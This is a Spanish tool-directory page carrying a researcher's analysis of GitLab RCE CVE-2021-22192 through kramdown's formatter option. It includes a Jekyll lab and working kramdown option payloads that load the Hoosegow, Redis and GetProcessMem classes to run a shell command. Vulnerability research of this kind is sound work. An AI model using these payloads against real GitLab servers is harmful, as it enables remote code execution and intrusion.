Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Herramientas/GitHubGitHub/petrusviet/gitlab-rce
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Ver Repositorio
123hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Análisis de la vulnerabilidad RCE en GitLab (CVE-2021–22192)

I) Construcción

  • Esta vulnerabilidad afecta a GitLab Community Edition (CE) y Enterprise Edition (EE) en las versiones (>=13.2, <13.7.9), (>=13.8, <13.8.6) y (>=13.9, <13.9.4)
  • Puedes seguir la guía de lyy289065406 para montar el entorno.

II) Análisis

Al comenzar a analizar esta vulnerabilidad, solo disponía de información valiosa de lyy289065406 que me ayudó a comprender el problema central de este bug. Parece que el error está en la gema kramdown (<= 2.3.0), así que comencé investigando kramdown primero.

1. Kramdown

Podemos revisar el patch de kramdown y vemos la diferencia en la función formatter_class dentro del módulo Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) se convirtió en ::Rouge::Formatters.const_get(formatter, false)

La función const_get se hereda de la clase Object y puede obtener las constantes. Incluso puede devolver clases previamente declaradas que encuentre. La única diferencia aquí es el parámetro adicional false. Al añadir false, const_get no puede obtener constantes de las clases padre ni de los módulos. Lo que es aún más especial: en la función self.call se invoca a formatter_class y luego a new(opts). Eso significa que al método obtenido mediante const_get se le llama al constructor para inicializarlo.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Wow, wow. Entonces, ¿cómo se puede explotar?

Basándonos en Kramdown:Options podemos invocar la función Kramdown::Converter::SyntaxHighlighter::Rouge.call

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Además, en el módulo Kramdown:Options la función simple_hash_validator llama a YAML.safe_load(val). De este modo, también podemos configurar un archivo YML para pasar el payload deseado a Kramdown::Converter::SyntaxHighlighter::Rouge

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown es utilizado por Jekyll, GitLab Pages, GitHub Pages y Thredd Forum. Por eso decidí probarlo primero con Jekyll.

2. Jekyll

Primero necesito montar Jekyll:

  • Instalar Jekyll
root@kitploit:~
gem install jekyll
  • Crear una página de Jekyll llamada jekyllTest
root@kitploit:~
jekyll new jekyllTest
  • Editar el archivo Gemfile.lock para dejar kramdown en <= 2.3.0
root@kitploit:~
cd jekyllTest

Archivo Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • instalar la página
root@kitploit:~
 bundle install

Así que ya hemos creado una página de Jekyll. Ahora podemos introducir el payload para ver si Kramdown::Converter::SyntaxHighlighter::Rouge.call realmente puede invocar un método.

Podemos añadir al archivo ./_config.yml

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

O usar el documento de kramdown añadiendo el payload a ./_posts/*.markdown

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Aquí usé el segundo método =)))))

  • Desplegamos la página de Jekyll
root@kitploit:~
bundle exec jekyll serve

puede que encuentres el error "require': cannot load such file -- webrick (LoadError)"; necesitas añadir gem "webrick" al Gemfile

  • Vemos el mensaje de error private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:; esto demuestra que se invocó a la clase CSV.

Lo siguiente es determinar qué método elegir para que, al llamar al constructor, se pueda provocar un RCE.

Según un artículo de análisis de CVE-2020-10518 que utiliza el bug de kramdown para provocar RCE en GitHub, apunté a la clase Hoosegow:

  • Vemos que la función initialize de Hoosegow llama a load_inmate_methods
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • En load_inmate_methods vemos que llama a require inmate_file
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • inmate_file se crea concatenando @inmate_dir con 'inmate.rb'. Si podemos invocar esta clase y cambiar el parámetro inmate_dir a la ruta de nuestro archivo payload, entonces ¿no estaríamos ante un RCE?

  • Ejecuté un script en la ruta de la página de Jekyll para comprobar los métodos definidos:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Lástima, no había ninguna clase llamada Hoosegow, incluso cuando evité que el script se rompiera a mitad de camino usando la condición ob.name == "Hoosegow"
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • Resulta que en el classpath no estaba declarada la clase Hoosegow; añadí gem "hoosegow" al Gemfile y el script encontró esta clase. [jejeje]
  • A continuación probé a invocar Hoosegow con kramdown a ver qué pasaba
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Bum. No pasó nada; la clase Hoosegow no fue invocada. =)))))))))
  • Estuve atascado aquí... 1 semana. Sí, perdí una semana por ello. Le daba vueltas a la pregunta: "¿Por qué, si en bundler ya está la clase Hoosegow, al invocarla desde Kramdown no funciona? Se supone que debería, ¿no?"

  • Pensé: "Si ya está declarada en el Gemfile, entonces la clase ya está en el classpath. Así que si el programa sigue sin encontrar 'Hoosegow', seguramente aún no se ha cargado...". Entonces, ¿hay alguna forma de declarar la gema para que Jekyll la cargue al arrancar antes de procesar el resto del directorio fuente?

  • Leí la documentación de Jekyll y encontré jekyll_plugins. Declararla en el Gemfile no era suficiente; hay que declarar la gema en el grupo jekyll_plugins para que funcione :( porque al declararla en jekyll_plugins, la gema se carga de forma forzosa antes de que Jekyll procese otras fuentes. Incluso al ejecutar Jekyll en modo seguro.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • Creé un archivo inmate.rb en C:/ y ejecuté el payload:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • El archivo inmate.rb fue invocado. Parece que ya casi hemos conseguido replicar el PoC, ¿verdad?

3. GitLab

  • GitLab tiene la función GitLab Pages, donde puedo desplegar una página de Jekyll. Así que probé a subir el payload como un proyecto de página de Jekyll (como el de arriba) y desplegarlo en GitLab.
  • La pregunta es: ¿cómo subir el archivo inmate.rb al servidor de GitLab y saber dónde está el archivo inmate.rb que acabo de subir?
  • Esto es bastante sencillo si tenemos permiso para crear proyectos y desplegarlos en GitLab. Podemos subir el archivo inmate.rb a nuestro propio proyecto y modificar el archivo .gitlab-ci.yml
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • Esto nos permite saber dónde se almacena nuestro proyecto. A partir de ahí podemos crear nuestro payload :)

¿Por qué, si podemos editar el archivo .gitlab-ci.yml y ya podemos inyectar comandos, íbamos a molestarnos en escribir un PoC? ¿Acaso estoy yendo por el camino del self-RCE?

  • Esta pregunta surgió de inmediato cuando modifiqué el archivo .gitlab-ci.yml. Intenté explicarlo de varias maneras: "¿Quizás hay un mecanismo que escanea el archivo .yml antes de que se cargue?",... pero ninguna me convencía...
  • Investigué cómo GitLab despliega GitLab Pages. Me di cuenta de que cada vez que se despliega una página nueva o se modifica algún archivo en el proyecto de pages, el servidor GitLab Runner renderiza el proyecto como páginas web estáticas y las envía al servidor web de GitLab. Eso significa que este vector de explotación, como mucho, solo permite comprometer el Runner Server. Comprometer el Runner Server no es muy grave porque se queda en un self-RCE. Algo no cuadraba.
  • Busqué otro vector de entrada: la wiki. La wiki permite usar el formato kramdown, así que sospeché y probé allí, pero no hubo resultado porque solo puse el payload en el archivo predeterminado '*.md', y el archivo '*.md' tiene limitadas las funciones necesarias, así que descarté esta vía :(

  • En ese punto tuve que detenerme y esperar a que se publicara el PoC para dedicar tiempo a otras investigaciones.

PoC publicado

Un buen día se publicó el PoC. Al terminar de leerlo, se me puso la piel de gallina, no hay más que decir =)).

El problema central estaba en kramdown, así que íbamos bien encaminados, pero el camino para llegar a él en GitLab parecía un poco chapucero =)

  • El autor descubrió que al subir una página wiki con un archivo '*.rmd', el programa llama a render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Así, el archivo '*.rmd' se renderiza con kramdown.

  • El autor subió su archivo '.rmd' clonando la página wiki en local y luego usando git para hacer push de la página wiki (con el archivo '.rmd') a GitLab.

  • El autor utilizó la clase Redis (ya declarada en el proyecto de GitLab, por lo que podemos invocar y usar esta clase) para ejecutar su payload.

Al inicializar la clase Redis, si existe la opción driver, el programa llama a la función _parse_driver. Aquí, el programa ejecuta require "connection/#{driver}"; podemos manipular la variable driver para que el programa cargue el archivo payload que hemos subido al servidor.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • Con la función de crear un nuevo snippet, un atacante puede subir un payload ruby usando Attach a file.
  • En este exploit, el atacante necesita encontrar la ubicación del archivo payload subido. Esto llevó al autor a encontrar otra vía de explotación:

Usando la vía de Kramdown para invocar a la clase Redis, primero el autor importa la gema get_process_mem con el payload

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

Luego usa la gema get_process_mem importada antes para lograr el RCE

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

Así, sin necesidad de encontrar la dirección del archivo payload, el atacante aún puede lograr RCE en el servidor de GitLab.

Referencias:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
Descargar herramienta